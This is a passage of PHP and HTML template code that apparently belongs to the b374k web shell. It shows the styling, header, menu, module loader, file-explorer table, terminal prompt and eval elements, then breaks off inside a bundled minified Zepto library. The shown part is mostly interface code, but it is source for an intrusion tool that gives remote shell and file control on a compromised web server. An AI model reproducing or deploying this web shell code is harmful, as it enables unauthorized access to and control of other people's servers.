	margin:8px 0;
	text-align:center;
}
.dataView td, .dataView th, #viewFile td{
	vertical-align:top;
	border-bottom:1px dashed #dddddd;
}
.dataView tbody tr:hover{
	background:#ebebeb;
}
.dataView th{
	vertical-align:middle;
	border-bottom:0;
	background:#e0e0e0;
}
.dataView tfoot td{
	vertical-align:middle;
}
.dataView .col-cbox{
	text-align:center;
	width:20px;
}
.dataView .col-size{
	width:70px;
}
#xplTable tr>td:nth-child(3){
	text-align:left;
}
#xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){
	text-align:center;
}
.dataView .col-owner{
	width:140px;
	min-width:140px;
	text-align:center;
}
.dataView .col-perms{
	width:80px;
	text-align:center;
}
.dataView .col-modified{
	width:150px;
	text-align:center;
}
.sortable th{
	cursor:pointer;
}
#xplTable td{
	white-space:nowrap;
}
#viewFile td{
	text-align:left;
}
#viewFilecontent{
	padding:8px;
	border:1px solid #dddddd;
	border-radius:8px;
}
#terminalPrompt td{
	padding:0;
}
#terminalInput{
	background:none;
	border:none;
	padding:0;
	width:100%;
}
#evalAdditional{
	display:none;
}
.hl_default{
	color:#517797;
}
.hl_keyword{
	color:#00BB00;
}
.hl_string{
	color:#000000;
}
.hl_html{
	color:#CE5403;
}
.hl_comment{
	color:#7F9F7F;
}
#navigation{position:fixed;left:-16px;top:46%;}
#totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
#totop:hover,#tobottom:hover{opacity:0.80;}
#toggleBasicInfo{display:none;float:right;margin:0;}
#basicInfoSplitter{display:none;}
#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
#showinfo{float:right;display:none;}
#logout{float:right;}
</style>
</head>
<body>
<!--wrapper start-->
<div id='wrapper'>
	<!--header start-->
	<div id='header'>
		<!--header info start-->
		<div id='headerNav'>
			<span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
			<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' />&nbsp;<span id='nav'><?php echo $nav; ?></span>

			<a class='boxclose' id='logout' title='log out'>x</a>
			<a class='boxclose' id='showinfo' title='show info'>v</a>
		</div>
		<!--header info end-->

		<!--menu start-->
		<div id='menu'>
			<?php
				foreach($GLOBALS['module_to_load'] as $k){
					echo "<a class='menuitem' id='menu".$GLOBALS['module'][$k]['id']."' href='#!".$GLOBALS['module'][$k]['id']."'>".$GLOBALS['module'][$k]['title']."</a>";
				}
			?>
		</div>
		<!--menu end-->

	</div>
	<!--header end-->

	<!--content start-->
	<div id='content'>
		<!--server info start-->
		<div id='basicInfo'>
			<div id='toggleBasicInfo'></div>
			<?php
			echo $error_html;
			foreach(get_server_info() as $k=>$v){
				echo "<div>".$v."</div>";
			}
			?>
		</div>
		<!--server info end-->

		<?php
			foreach($GLOBALS['module_to_load'] as $k){
				$content = $GLOBALS['module'][$k]['content'];
				echo "<div class='menucontent' id='".$GLOBALS['module'][$k]['id']."'>".$content."</div>";
			}
		?>
	</div>
	<!--content end-->

</div>
<!--wrapper end-->
<div id='navigation'>
	<div id='totop'></div>
	<div id='tobottom'></div>
</div>
<table id="overlay"><tr><td><div id="loading" ondblclick='loading_stop();'></div></td></tr></table>
<form action='<?php echo get_self(); ?>' method='post' id='form' target='_blank'></form>
<!--script start-->
<script type='text/javascript'>
var targeturl = '<?php echo get_self(); ?>';
var module_to_load = '<?php echo implode(",", $GLOBALS['module_to_load']);?>';
var win = <?php echo (is_win())?'true':'false';?>;
var init_shell = true;
/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */
var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\s)"+a+"(\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,scriptTypeRE=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var 